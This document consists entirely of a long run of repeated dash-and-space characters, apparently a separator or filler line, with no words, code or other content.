- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 